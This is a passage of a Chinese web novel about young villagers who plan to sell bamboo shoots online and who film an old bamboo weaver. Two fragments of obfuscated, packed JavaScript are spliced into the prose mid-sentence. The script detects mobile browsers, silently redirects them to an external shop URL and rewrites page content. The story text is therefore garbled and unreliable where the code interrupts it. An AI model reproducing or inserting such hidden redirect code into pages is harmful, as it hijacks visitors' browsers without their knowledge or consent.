灶房里的碗还没收,李乘歌把最后一只碗摞起来,冲院子里喊了一声:“我们走了啊。” 沈摘星已经跑到院门口等着了,小脸被晨光照得红扑扑的。 夏叙言最后一个出门。他把帆布包往肩上一甩,走到门口又折回来,从桌上抓了两个馒头,一个塞进包里,一个叼在嘴里。 “中午不回来吃,别等我。”他含糊不清地冲院子里喊了一声。 傅砚修刚好从旁边经过,看了他一眼,嘴角动了动:“真像只仓鼠。” 夏叙言叼着馒头,冲他翻了个白眼,走了。 傅砚修站在那儿,看着夏叙言的背影消失在院门外,然后转身进了灶房。 傅拭雪已经在里面了,正把剩下的碗往水池里放。水龙头开着,哗哗的水声混着碗筷碰撞的轻响。 傅砚修走过去,挽起袖子,从傅拭雪手里接过一只碗,开始洗。 宋鹤眠端着一摞碗进来,放在灶台上,也挽起袖子。 三个人围着水池,一个洗,一个冲,一个擦,没人说话,但动作很顺。 水有点凉,傅砚修的手指被冻得有点红,但他没吭声。 傅拭雪看了他一眼,把水龙头往热水那边拧了拧。 傅砚修愣了一下,低头继续洗。 宋鹤眠在旁边擦碗,擦完一只放进碗柜,又接过下一只。她的动作很轻,碗碰碗的声音都几乎没有。 等最后一只碗擦完放进碗柜,宋鹤眠把抹布搭好,看了一眼窗外。 阳光已经爬上了窗台,暖洋洋的。 傅拭雪正站在灶台前,把早上剩下的馒头收进篮子里,动作很慢,很稳。 阳光落在他背上,把他的影子拉得很长。 傅砚修看了一会儿,转身出去了。 等傅拭雪拿着茶壶放在火炉上温着时,傅砚修已经把电脑打开了。 “拼多多、淘宝、抖音,”他边说边调出三个页面,“咱们今天把这几个平台的入驻条件全部过一遍,横向对比,选最优解。” 傅拭雪点点头,拉过一把椅子在他旁边坐下。 宋鹤眠端着茶杯走过来,在两人对面坐下,没说话,只是安静地听着。 三人对着屏幕,谁也没废话。 傅砚修先开口,语速快但吐字清晰:“拼多多门槛最低,个人店交个保证金就能开。食品类保证金一万,企业店五千到五万不等,但现在是按GMV规模收,前期量小可以先交低的。发货时效是48小时内要有揽收记录,超期按订单金额扣款。适合走量,但客单价低,利润薄。” 傅拭雪一边听一边滑动淘宝的页面,等他说完,接过话头:“淘宝这边需要营业执照和食品经营许可证,门槛高,但有个‘淘香甜’助农频道,如果能申请进去,流量精准。保证金一万起,可以退。食品类目审核严,得先把资质跑齐。发货时效也是48小时,但可以申请预售,最长15天。” 傅砚修在本子上记了两笔,目光移到第三个页面。 “抖音介于两者之间,个体工商户或企业资质,保证金五千。现在有新政策,新商家可以0元入驻试运营,等订单量超过200或金额过万再补缴就行。流量靠内容和直播驱动,咱们现在视频刚起来,有天然优势。缺点是发货时效最严,24小时内要有物流揽收记录。” 他说完,抬起头看向傅拭雪。 傅拭雪没急着接话,手指还在触控板上慢慢滑动,把三个平台的规则页面又过了一遍。 宋鹤眠这时开口:“还要考虑平台的用户画像。拼多多用户价格敏感,适合走量但不适合做品牌溢价。抖音用户看内容下单,冲动消费比例高,客单价能做上去。淘宝用户带着明确购买目的来,适合做复购。” 她顿了顿,继续说:“咱们现在的优势是内容刚起来,有热度,应该先吃这波流量红利。抖音适合做起点,但淘宝得同步布局——等粉丝攒起来,需要有一个地方让他们回头。” 傅拭雪听完,点点头,看向傅砚修。 傅砚修在本子上又记了几笔,抬起头:“拼多多走量,抖音走内容,淘宝走复购。咱们现在阶段,三个都得要。” 他在本子上画了个表格,三列三行,把刚才说的要点全部填进去。 “先做抖音。”他指着第一列,“视频热度在这,转化最快。店开起来,视频底下挂小黄车,看的人顺手就能买。” 傅拭雪接过去:“同步申请淘宝。资质让李乘歌和沈摘星去镇政府跑,咱们这边把材料准备好。淘宝审核周期长,现在申请,等下来正好接住下一波流量。” 宋鹤眠补充道:“抖音起来之后,可以把流量往淘宝导。视频里提一句‘店铺同名’,或者在简介挂淘宝链接。两个平台互相养着。” 傅砚修在表格里打了个勾,又指着第三列:“拼多多可以慢一步,等单量稳定了再开。这个平台对价格敏感,咱们前期量小,快递成本下不来,上去也没优势。” 傅拭雪点点头,从包里掏出一张纸,是他昨晚提前列好的材料清单。 “营业执照、食品经营许可证、产地证明、法人身份证。”他把纸推到傅砚修面前,“看看有没有漏的。” 傅砚修和宋鹤眠探过投来,“暂时没有。” 傅拭雪点点头,把那张纸折好收起来。 傅砚修端起茶杯喝了一口,忽然想起什么,又把电脑拉过来。 “还有一个问题,”他边说边调出一个页面,“平台规则里关于生鲜类目的发货时效和售后标准,得单独拎出来看。” 傅拭雪凑过去,两人一起盯着屏幕,谁也没说话。 过了几秒,傅砚修开口:“拼多多是48小时内发货,超时扣保证金。淘宝允许预售,最长15天。抖音最严,24小时内要有物流揽收记录。” 宋鹤眠在旁边说:“笋从地里挖出来是简单,但是保存极难,我们要根据订单来确定量,预售是必须的。淘宝适合做主阵地,抖音做引流。” 傅拭雪听完,手指在桌上轻轻敲了两下。 “预售模式走淘宝。”他说,“鲜笋季节短,可以用预售攒单,集中发货。抖音走现货,视频挂车,当天发不完就分批次,别超时。” 傅砚修点点头,在表格下面又加了一行发货规则,把刚才说的填进去。 三人又对着屏幕过了几遍,把所有细节一条一条捋清楚。 院内里很安静,只有偶尔翻页的声音和鼠标点击的轻响。 等把所有问题都过完,傅砚修把本子合上,往椅背上一靠。 “差不多了。刚才说的那些,等会我们整理成文档,晚上碰头用。” 傅拭雪看了一眼时间,从坐下到现在,不到两个小时,他嘴角动了动:“效率可以。” 傅砚修也笑了,“他们教的好。” 他没有把他们说的很明白,是京城傅家还是港圈傅家,对他而言都有知遇之恩。 宋鹤眠拿起手机拨出一个电话,她打开扩声:“周晴,是我。方便说话吗?” 电话那头传来一个清晰的女声:“嗯,你说。” “你们公司现在生鲜类目走哪家快递?时效和价格怎么样?” “主要走顺丰冷链,还有京东生鲜。顺丰时效稳,次日达和隔日达都有,价格高一点。京东在江浙沪优势明显,便宜些。你那边什么量级?” “刚起步,日均二三十单,想先了解阶梯价。” “这个量顺丰没优势,起步价高。建议你找区域性的冷链服务商,或者走快递公司的生鲜专线。韵达、中通都有农产品专项,比顺丰便宜30%左右。” 宋鹤眠顿了顿,又问:“冷链整车呢?如果能凑够一车,大概什么价位?” “看你走什么线。江浙沪整车冷链,三千斤左右,摊下来三块多一单。具体得看发货地和目的地。需要我把几家快递的生鲜负责人推给你吗?” “好,发我。” “嗯,晚点整理给你。” 挂了电话,她又在通讯录里翻了翻,拨出第二个。 “林晓,你们那个云仓还在运营吗?生鲜类的。” 那边是一个利落的女声:“在,怎么了,你要用?” “对,想了解一下仓储加打包的收费标准,我们量不大。” “按件计费,打包费一块二到一块八,看包装复杂度。仓储费按托盘按月算,三百八到六百不等。你们可以先走代发模式,货放我们这儿,来了订单我们打包贴单,你只管补货。” 宋鹤眠问:“起订量多少?” “没硬性门槛,但量小单价会高一点。你们预估多少?” “先跑起来看,日均二三十单起步。” “那问题不大,先按阶梯走,单量上来再调价。我让商务发你报价单。” “好,麻烦了。” 第三个电话拨出去的时候,她端起茶杯抿了一口。 “顾锐,你之前对接过的冷链资源,还在合作吗?” 那边是个沉稳的男声:“在,怎么了,你要走货?” “对,农产品,笋。日均二三十单,想找能接小单的冷链服务。” “这个量走整车不划算,建议你先走快递生鲜线。我这边有中通和韵达的生鲜负责人联系方式,回头推你。他们有小程序可以直接下单,首重三公斤内,江浙沪能做到四块五左右。” 宋鹤眠点点头:“好,发我。” “另外提醒你一句,笋的保鲜期短,发货前一定要预冷,不然路上容易坏。需要的话,我让那边给你发一份生鲜发货操作指南。” “行,谢了。” 询问完她看着两人。 傅砚修手里的笔一直没停,本子上已经密密麻麻记了好几行:中通韵达首重四块五、冷链整车三千斤起、云仓打包费一块二到一块八……每一条后面还标注了适用阶段和注意事项。 傅拭雪面前的电脑屏幕上开着记事本,光标一闪一闪。他一边听一边敲,把打听来的三类选项整理成了条目,分列清晰,重点标红。 “物流这边梳理了三类选项。”宋鹤眠在脑海里整理了各个信息,当她再开口是,条理清晰。 “第一,快递生鲜线。中通和韵达有农产品专项,江浙沪首重三公斤内四块五左右,适合咱们现在的单量。顺丰冷链时效最好,但价格高,起步十二,暂时不适合。” 傅砚修在本子上又补了一笔,头也不抬地问:“中通和韵达的小程序能直接下单?” “能,顾锐说他们都有线上系统,绑定账号就能用。晚点他把负责人推过来,咱们可以具体聊。” 傅拭雪把这条也敲进文档里。 “第二,冷链整车。”宋鹤眠继续说,“如果能凑到两千斤以上,江浙沪线可以摊到三块出头一单。但这个得等单量稳定再说,现在不急。” “两千斤,”傅砚修算了一下,“大概六百多单。以咱们现在的量,还够不上。” “嗯,所以先放着,但有这个选项在,后面单量上来可以直接启动。” “第三,云仓代发。仓储加打包加发货一条龙,打包费一块二到一块八,仓储费按月算。适合单量稳定之后外包,现在可以先接触着,了解行情。” 傅拭雪敲完最后一行,把屏幕转向两人。 “我整理成表格了,晚上碰头可以直接用。” 宋鹤眠看了一眼,点点头。 傅砚修把本子往前推了推,上面也列得清清楚楚。 阳光穿过院边老槐树的枝叶,筛下细碎而跳跃的金色光斑,在泥土地面和堆积的笋山上明明灭灭。空气里弥漫着雨后土壤被晒暖后略带清凉的潮润气息,混着墙角鸡圈飘来的家禽味道。 同一片阳光,穿过镇政府的香樟树,筛成细细的光斑,落在水泥地上。 下了车,李乘歌牵着沈摘星的手,走进镇政府大院。 院子不大,几棵老香樟把阳光筛得细细的,洒在水泥地上。 传达室的大爷探出脑袋,一眼认出她来:“哎,这不是老李家那闺女吗?好久没见了!” 李乘歌笑着打招呼:“刘大爷,身体还硬朗着呢?我来找陈主任,他在不?” “在在在,二楼最里头那间,你直接上去就行。” 上楼的时候,沈摘星小声问:“乘歌姐姐,你认识好多人啊。” 李乘歌揉了揉她脑袋:“山里长大的,不认识人怎么办事?” 陈主任的办公室门开着,他正伏在桌上写什么,听见敲门声抬起头,看见李乘歌,眼睛就亮了。 “乘歌来了?快进来坐!”他站起来,从旁边搬了两把椅子,“什么时候回来的呀?” “上个月,陈叔,我又来了麻烦您啦。”李乘歌拉着沈摘星坐下,也没绕弯子,直接把来意说了。 陈主任听完,点点头,从抽屉里翻出几份文件。 “那你们来得正好。”他把文件摊开,指着上面几行字,“2026年全市‘8+4’经济政策刚发布,市级财政安排了515个亿,其中‘推进城乡一体融合高质量发展’这块,就是专门支持你们这样返乡创业的年轻人的。” 李乘歌凑过去看,陈主任继续解释:“物流补贴这块,政策是有的,一单能补两三块。但我得跟你交个底,这个补贴要求单量稳定,不是今天开了店明天就能拿。咱们区里现在执行的标准是日均三十单以上,连续运营一段时间,证明是真在做事,才能申请。” 李乘歌听着,没急着接话。 三十单一天,对他们现在来说确实有点远。 陈主任看了看她的表情,笑了笑,把文件往旁边一放。 “小李,我跟你实话实说,你们现在这个阶段,盯着物流补贴有点早了。单量没起来,申请也批不下来,还容易打击信心。” 他从柜子里又翻出几张表格,换了个方向。 “但有一样东西,你们现在就能用上——新农人培训。” 他把表格推过来:“市里、区里每年都有专项培训资金,专门针对你们这样返乡创业的年轻人。电商运营、视频拍摄、农产品直播,全都有。培训不要钱,还管饭。你们那个院子,不是正好要做视频卖货吗?去听听课,比你们自己瞎琢磨强。” 李乘歌眼睛亮了:“这个培训,什么时候有?” “下个月就有一期,农产品电商专题,专门讲怎么拍视频、怎么开直播、怎么挂小黄车。”陈主任从笔筒里抽了张名片递过来,“名额我给你留一个,具体时间我让人通知你。” 沈摘星在旁边小声问:“陈爷爷,那我呢?” 陈主任低头看她,笑了:“你好好读书,长大也回来帮你乘歌姐姐。” 沈摘星认真点点头。 李乘歌把名片收好,又看了一眼桌上那叠文件:“陈主任,那个冷库的事……” 陈主任摆摆手:“冷库的事你别急。这种基础设施项目,一般是以村集体经济组织或者乡镇来牵头申报的。等你们把电商跑起来,单量上来了,到时候村里面报项目,把你们的需求带进去,才是正路。” 他顿了顿,语气缓下来:“乘歌,政策是给做事的人准备的。你们先把事做起来,做起来了,该有的都会有。到时候你再来找我,我给你牵线,找专业的人帮你们做方案。” 李乘歌听着,心里那点悬着的东西慢慢落了下来。她说不上来是什么感觉,但就是觉得踏实:“谢谢陈主任。” 陈主任摆摆手:“谢什么,我就是干这个的。” 阳光从窗户照进来,落在桌上那叠文件上,也落在他那张晒得黝黑的脸上。 走出镇政府大院,沈摘星抬头问:“乘歌姐姐,咱们能做成吗?” 李乘歌低头看她,伸手揉了揉她的脑袋。 “能。” 她顿了顿,又补了一句:“不急,一步一步来。” 李乘歌牵着沈摘星的手,慢慢往外走。沈摘星的小腿迈得很快,努力跟上她的步子。 两人的影子被拉得长长的,铺在水泥地上,渐渐走远。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310841|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >夏叙言背着一个旧帆布包,一个人走进了镇上最大的农产品批发市场。 时间还早,市场里已经热闹起来了。三轮车、小货车进进出出,吆喝声、讲价声混成一片。地上湿漉漉的,是凌晨洒水车刚洒过的痕迹,踩上去有点潮。 他没急着往里走。 先在门口站了两分钟,目光扫过去,左边蔬菜区,右边干货区,中间最热闹的是鲜笋交易。人流怎么走,货车怎么停,哪几个摊位前排着队,哪几个摊主在闲聊。看完,他心里大概有了数。 然后他迈开步子,不紧不慢地往里走。 第一个摊位,是个卖竹笋的大姐。四十来岁,扎着围裙,手上动作很快,剥笋壳、扔进筐,一气呵成。面前摆着几筐笋,品相不错,但包装就是最普通的蛇皮袋。 夏叙言走过去,没蹲下,先站在旁边看了一会儿。 大姐抬头看他一眼,他笑了笑,点了个头,继续看。 剥完一根,大姐忍不住了:“小伙子,想买笋?” “不买。”夏叙言语气很坦诚,“我就是看看行情。我们家那边也种笋,想了解了解外面怎么走的。” 他说话的时候,目光落在大姐手上:“您这手势真快,剥了有年头了吧?” 大姐被问得高兴:“二十多年了,从嫁过来就开始剥。” 夏叙言由衷道:“那您这眼力肯定也毒,笋好不好,一眼就能看出来。” 大姐笑了:“那可不,烂的一眼就能挑出来。” 夏叙言点点头,蹲下来,拿起一根笋看了看,又闻了闻。 “黄泥拱,今早挖的?” 大姐愣了一下:“你咋知道?” “泥还潮着,而且您这筐底下垫的草,是后山那种茅草吧?”他把笋放回去,站起来,“我们那边也用这种草垫筐,透气,不会捂坏。” 大姐看着他,眼神不一样了。 “你也是种笋的?” “算是吧,刚起步,还在学。”夏叙言笑了笑,“大姐,您这笋走什么渠道?” “就老客户呗,来拿货的都是熟人。那几家,收去城里卖的。” 他问:“他们拿货什么价?” 大姐报了价,夏叙言在心里记下,比自己预想的低一些,但量大,走得起量。 “走快递吗?” “快递?”大姐摆摆手,“那哪儿走得起,运费比笋还贵。一箱三斤的笋,快递费要七八块,笋才卖多少钱?” 夏叙言点点头,又问了一句:“那如果单量稳定了,快递费能压下来,您愿不愿意走一件代发?” 大姐愣了一下:“啥叫一件代发?” “就是您只管发货,不用管卖。有人下单了,您这边直接寄出去。” 大姐想了想,摇摇头:“不懂那些,还是卖熟人省心。” 夏叙言没再问,又聊了几句天气和收成,道了谢,往下一个摊位走。 第二个摊位,是个卖菌子的大爷。竹筐里摆着干香菇、干木耳,还有几样叫不出名字的山货。筐边放着一个蛇皮袋,半敞着,里面的货明显比筐里的差一截。 夏叙言蹲下来,一样一样看,看得很慢。 大爷也不催,就那么等着。 看了两分钟,夏叙言忽然问:“大爷,这两筐货不是一起的吧?” 大爷一愣:“你怎么看出来的?” “颜色不一样。”夏叙言指了指筐里的,又指了指蛇皮袋里的,“筐里的这批,晒的时候天气好,颜色匀。袋里的那批,有一天下雨了,收得急,有点返潮。” 大爷盯着他看了好几秒,忽然笑了。 “你行家啊。” “不是,就是看得多。”夏叙言笑了笑,拿起一朵干香菇闻了闻,“这香味,超市里买不到。后山采的?” “对,后山那片林子,采了几十年了。” “您这货好,但摆在这可惜了。”夏叙言语气很平,像在说一件寻常事,“懂货的才买,不懂的看价格就走了。您这香菇,要是包装一下,放到网上卖,价格至少能翻一倍。” 大爷摆摆手:“网上那些东西,我不懂。儿子说过,我嫌麻烦。” 夏叙言没再劝,又问了几句干货的行情:“干货的损耗大吗?” “不大,晒干了能放一年,就是压货压钱。” “鲜货和干货,哪个好走?” “鲜货来钱快,干货稳。鲜货季节一过就没了,干货能卖一年。” 夏叙言点点头,把这个记在心里,产品结构要有梯次,不能只押鲜货。 又问了几种干货的价格和来源,临走的时候,大爷从筐里抓了一把干木耳塞给他:“尝尝,好的话下次来。” 夏叙言接过来,没推辞,认真地道了谢。 第三个摊位,是个卖山货的中年男人。摊位上摆着笋干、菌子干、干豆角,还有几罐咸菜。最边上摞着几个真空包装袋,印着简单的字。 夏叙言蹲下来,拿起一包笋干看了半天:“这是您自己包的?” 男人点点头:“自己找厂子订的。” “比普通袋子贵多少?” “贵三毛。” “破过单吗?” “以前用普通袋子的时候破过,破了三单,赔了一百多。换了之后没破过。” 夏叙言把包装翻过来,看了看封口,又看了看背面的字。 “起订量多少?” “五千。” “您这一批订了多少?” “两万个。” 夏叙言点点头,在心里算账:两万个,六万块,压货,但摊下来成本低:“您这笋干,去年收的?” 男人愣了一下。 “颜色有点深,应该是去年晒的,放了一冬。”夏叙言笑了笑,“今年新货快下来了吧?” 男人看着他,眼神里多了点东西。 “你干这行多久了?” “没多久。”夏叙言掏出手机,“加个微信行不?回头包装的事想请教您。还有您这些干货的渠道,方便的话,也跟您学学。” 男人扫了码,又忍不住问了一句:“你到底做什么的?” 夏叙言把手机收起来,笑了笑:“就种地的。” 走出市场,他没急着走,在门口那家小摊坐下来。 “大姐,一碗豆浆,一笼小笼包,一碗馄饨。” “好嘞。” 等吃的功夫,他跟旁边等货的几个摊主聊上了。 “大哥,等货呢?” “对,等青山村的笋,今天应该到。” “青山村的笋什么价现在?” 那人报了价,夏叙言一听,比本地笋贵两块。 “为什么贵?” “名气大,人家认那个牌子。” 夏叙言点点头,把这话记在心里。 品牌溢价,是真的存在。 又聊了几句物流的事,那人说:“现在快递费贵,但有个办法,就是凑够一车发冷链,摊下来就便宜了。” “一车多少斤?” “两三千斤吧。” 夏叙言在心里算了算,他们现在肯定达不到,但以后如果做大了,这是个方向。 一碗豆浆喝完,他站起来,拍了拍身上的灰。 包里装着一把干木耳、一包笋干、几张加了微信的名片。 本子上记了二十几条: ——笋价:特级3.5,一级2.8,二级2.2。 ——包装:真空袋成本比普通袋贵3毛,但破损率从10%降到0.5% ——干货:鲜货来钱快,干货稳,需要两条腿走路 ——快递:目前散客价7-8块/单,如果能凑一车冷链,成本能降到3-4块 ——品牌:青山村笋贵2块,因为有地域品牌 ——可合作品类:除了笋,还有干香菇、干木耳、干豆角、咸菜、野山菌 他往回走,步子不快不慢。 回去可以把这些跟大伙儿碰一碰,看看怎么落地。 33. 竹编 回家的路上,李乘歌牵着沈摘星的手,慢慢走着。 阳光晒得人身上暖洋洋的,沈摘星走了一会儿就开始打哈欠,步子慢下来,小脑袋一点一点的。 “困了?”李乘歌低头看她。 沈摘星摇摇头,又点点头,揉了揉眼睛。 李乘歌笑了笑,把她往身边拉了拉:“那走快点儿,回去睡个觉。” 两人走到村口的时候,李乘歌忽然停下脚步。 沈摘星跟着停下来,顺着她的目光看过去。 路边有个老院子,门口挂着一块木头招牌,字迹已经有些斑驳,但还能认出来——竹编作坊。 院门半掩着,里面传来细细的劈竹声,一下一下,很有节奏。 李乘歌站在门口,往里看了一眼。 院子里,一个老人坐在小板凳上,手里拿着一把篾刀,正把一根青竹劈成细条。竹条在他手里翻飞,像活了一样。 她不知道自己站了多久。 沈摘星在旁边拉了拉她的衣角:“乘歌姐姐?” 李乘歌回过神,低头看她,又看了看那个院子:“进去看看?” 沈摘星点点头。 李乘歌伸手,推开了那扇半掩的木门。 劈竹声停了。 老人抬起头,手里还握着那把篾刀,目光落在门口两个人身上。他眯着眼看了一会儿,忽然笑了。 “老李家的闺女吧?” 李乘歌愣了一下:“您认识我?” “认得,小时候你爸带你来过。”老人把篾刀放下,指了指旁边的小板凳,“坐,别站着。” 李乘歌拉着沈摘星走进去,在院子里站定,没急着坐。她的目光落在地上那些竹条上,宽窄不一,却根根匀称,青色的竹皮在阳光下泛着油润的光。 “这是……编什么的?” “什么都能编。”老人重新拿起一根竹子,篾刀轻轻一划,竹皮应声裂开,“筐,篓,篮子,笸箩。以前村里家家户户用,现在没人要了。” 沈摘星蹲下来,伸手摸了摸那些竹条,又缩回手,抬头看李乘歌。 李乘歌蹲在她旁边,拿起一根编了一半的竹条,翻来覆去地看。手指抚过那些交错的纹路,忽然想起小时候用过的那个旧竹篮也是这样的纹路,这样的颜色。 “这个。”她指了指那半成品,“编完是什么?” “小篮子。”老人手上动作没停,“装果子,装菜,都行。你们那个院子,不是种了菜吗?” 李乘歌愣了一下:“您怎么知道?” 老人脸上带着那种山里人常有的笑,不急不躁的:“农村人,院子里还能没口吃的?” 他低头看了一眼自己那双粗糙的手,又抬起头,目光落在李乘歌脸上,温和得很:“菜是自己种的,鸡是自己养的,日子是自己过的。” 李乘歌听着,忽然不知道该说什么。 老人的目光越过她,落在墙上。 那里挂着一个竹编的篮子,不大,但编得很密。篮口收得圆圆的,提手处还编了一圈细细的花纹,阳光从窗子照进来,落在那些交错的竹篾上,泛着淡淡的光。 老人站起来,走过去把篮子拿下来,递到她面前。 “这个给你们。”他说,“回去装菜。” 李乘歌站起来,走过去把篮子拿下来,翻来覆去看了半天:“多少钱?” “不要钱。”老人摆摆手,“拿去用,以后菜长好了,给我送一把就行。” 沈摘星在旁边小声说:“爷爷,你编得真好。” 老人低头看了看自己那双粗糙的手,笑了笑:“编了一辈子,也就这点手艺了。” 李乘歌站在原地,手里捧着那个篮子,没动。 她忽然想起那些视频,拍的都是人和地,拍的都是热闹,可这个院子里的东西,这些安静的手艺,是不是也该被看见? “爷爷。”她开口,“我能拍您吗?” 老人抬起头:“拍我?” “嗯。”李乘歌晃了晃手机,“把您编篮子的过程拍下来,发到网上,让更多人看见。” 老人愣了一下,然后笑了:“我一个老头子,有什么好看的。” 李乘歌也笑了。 “好看的。”她说,“真的好看。” 老人看着她,目光里有点东西,像是意外,又像是别的什么。 “你们年轻人。”他低头继续劈竹条,“就喜欢这些老东西?” 李乘歌在他旁边的小板凳上坐下来,沈摘星也挨着她蹲下。 “不是喜欢老东西。”李乘歌说,“是喜欢真的东西。” 老人手上的动作慢了一拍。 “网上那些视频,好多都是演出来的。”李乘歌指了指手机,“但您这个,是实打实的手艺。编一根竹子要多久,手要被划多少道口子,那些东西骗不了人。” 老人没说话,只是手上的篾刀又动了起来。 劈,划,削,一气呵成。一根青竹在他手里,像是活了。 沈摘星在旁边看得眼睛都不眨。 “爷爷,您手不疼吗?” 老人低头看了看自己那双布满老茧和刀疤的手,平和地回她:“疼啊,疼了几十年了。疼着疼着就习惯了。” 沈摘星缩了缩脖子,又忍不住继续看。 李乘歌举起手机,对准老人的手。 镜头里,那双粗糙的手稳稳地握着篾刀,竹皮从刀口滑出,薄薄的,匀匀的,落在地上发出细细的声响。 她没有说话,只是静静地拍着。 老人也没说话,只是静静地编着。 院子里只剩下劈竹的声音,一下一下,像某种古老的节拍。 拍了大概十分钟,李乘歌放下手机,把刚才那段回放给老人看。 老人凑过来,眯着眼看了一会儿,忽然问道:“我这手,这么糙?” “糙才好。”李乘歌说,“糙才是真的。” 老人又看了一遍,这回没说话,只是嘴角一直翘着。 沈摘星在旁边小声说:“爷爷,您编的那个篮子,我能买一个回去吗?” 老人看了看她,又看了看墙上挂着的那些篮子,点点头。 “你自己挑。”老人抬手往墙边指了指,“爷爷送你。” 沈摘星站起来,跑到墙边,仰着头一个一个看。挑了半天,挑了一个最小的,提手处编着一圈小花的,“这个好看。” 老人看过去:“眼光不错,那个是我老伴儿以前编的。” 沈摘星愣了一下,低头看了看手里的篮子,又抬头看了看老人。 “奶奶呢?” “走了,好几年了。” 沈摘星把篮子抱在怀里,“那奶奶一定很温柔。” 老人愣了一下:“为什么这么说?” 沈摘星指了指那圈小花:“这个花,编得小小的,圆圆的,一点都不凶。” “是。”老人看着她,点点头,“她是个很温柔的人。” 李乘歌站起来,走到老人面前:“爷爷,我以后能常来拍您吗?” 老人看着她,沉默了几秒:“拍我这个老头子,有人看?” “有人看。”李乘歌说,“肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310842|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定有人看。” 老人低下头,又开始劈竹条。 劈了几下,他忽然开口,声音很轻:“那你们下回来,我编个大的给你们看。” 李乘歌应道,“好。” 走出院子的时候,沈摘星回头看了一眼。 老人还坐在那儿,手里的篾刀一起一落,阳光把他花白的头发照得亮亮的。 “乘歌姐姐。”沈摘星小声说,“爷爷一个人,好孤单啊。” 李乘歌也回头看了一眼。 “所以咱们多来。”她说,“多来,就不孤单了。” 两人走出院门,沈摘星把那个小篮子抱得紧紧的。 阳光洒在村口的路上,把两个影子拉得很长。 走到院门口,还没进去,就听见里面传出来的声音。 李乘歌站在门口,听了一会儿,嘴角弯了弯。 她伸手,推开院门,阳光跟着她一起涌进去。 院子里,几个人各自忙各自的,本子、电脑、手机摊了一桌。阳光从老槐树的缝隙里洒下来,落在每个人身上。 听见门响,几个人同时抬起头。 “回来啦!”傅拭雪抬起头,目光在她脸上停了一下,又落到她手里那个竹篮子上。 李乘歌点点头,走进去,把竹篮放在石桌上。 傅砚修凑过来看:“这什么?哪儿来的?” “村口,一个编竹子的爷爷给的。”李乘歌说,“他的手艺特别好。” 沈摘星在旁边举起那个小花篮子:“我这个也是爷爷给的!这个是奶奶编的!” 傅拭雪接过去看了看:“这手艺,现在真不多见了。” 宋鹤眠走过来,拿起那个大篮子,翻来覆去看了看。 “手工的。”她说,“现在城里人喜欢这个,原生态。” 李乘歌愣了一下,看着她。 宋鹤眠把篮子放回去,淡淡地说:“回头拍视频的时候,可以拍一期这个。手工竹编,配咱们的菜,画面好看。” 傅拭雪点点头:“可以。” 李乘歌站在原地,看着那个篮子,忽然想起老人低头劈竹的样子。 她掏出手机,把刚才拍的视频点开,递给傅拭雪。 “我拍了一点,你们看看。” 傅拭雪接过来,几个人凑过去看。 视频里,老人的手粗糙却稳当,篾刀一起一落,竹皮从刀口滑出,薄薄的,匀匀的。阳光落在他手上,落在那根青竹上,落在地上那些编了一半的篮子上。 没有音乐,没有解说,只有劈竹的声音,一下一下。 视频放完,院子里安静了几秒。 “现在城里人日子赶得紧,这种慢慢磨出来的东西,看一眼能歇口气。”傅拭雪顿了顿,“留不留得住人,看缘分。但至少能让人停一下,挺解压的。” 宋鹤眠看着李乘歌:“拍的时候,你在想什么?” 李乘歌想了想。 “我在想。”她说,“这么好的东西,要是没人看见,就太可惜了。” 傅拭雪把手机还给她。 正说着,院门又被推开了。夏叙言背着他那个旧帆布包,大步走进来。他脸色有点红,额头上还挂着汗,像是赶了一路。 “都在呢?”他把包往石凳上一放,看见桌上那个竹篮子,愣了一下,“这哪儿来的?” 李乘歌把刚才的事简单说了。 夏叙言听完,点点头,没再多问。他把包打开,从里面一样一样往外掏东西。一包干香菇,一包笋干,一包干豆角,还有几罐咸菜:“市场里淘的,你们尝尝。” 34. 非遗 本以为要忙一整天,没想到半天就完事了。 傅拭雪抬起头,看了她一眼。 “吃了没?” “还没。” “中午想吃什么。” 他问这话的时候,阳光从槐树叶子的缝隙里漏下来,在他眉骨处落下一小片阴影。声音不高,却清清楚楚地落进她耳朵里,带着点初春的暖意。 李乘歌愣了一下。 她看着他,他坐在那儿,姿势随意,手里的动作没停,问这话的时候甚至没抬头看她。 但就是有一种什么东西,从他身上漫过来,轻轻的,软软的,像风吹过刚冒芽的柳枝。 阳光把他半边脸照得发亮,另半边落在阴影里。那阴影从眉骨处开始,滑过眼窝,在鼻梁一侧停住,又继续往下,把嘴角也藏进去一半。 她忽然想起一个词——干净。 不是那种洗得很干净的干净,是那种……人很干净。 “啊……?”她迟疑了一瞬。 话还没出口,旁边夏叙言已经蹿过来了。 他把干货举在身前,尾音扬得高高的,像只闻到食儿的麻雀:“尝尝这些呗!” 李乘歌眨了眨眼,那片刻的出神被打散了。 “我还想吃红烧肉!”夏叙言又说。 虽然他在外面垫过肚子了,但是他还是想吃家里的饭。 沈摘星抱着那个小花篮子跑过来,小脸红扑扑的:“叙言哥哥,你早上不是说减肥吗?” 夏叙言被噎了一下,挠挠后脑勺:“那……那明天再减?” 他说这话的时候,目光已经开始往灶房那边飘了。 傅砚修头也不抬,悠悠地来了一句:“你明天也说同样的话。” 夏叙言瞪他一眼:“你闭嘴!” 宋鹤眠起身走过来,“我建议配合着笋一起吃,二伯母上午又送来了一些鲜笋。” “行。”李乘歌点头,“那就吃笋。腌笃鲜,再配上夏叙言带回来的干香菇和笋干——两样都尝尝。” 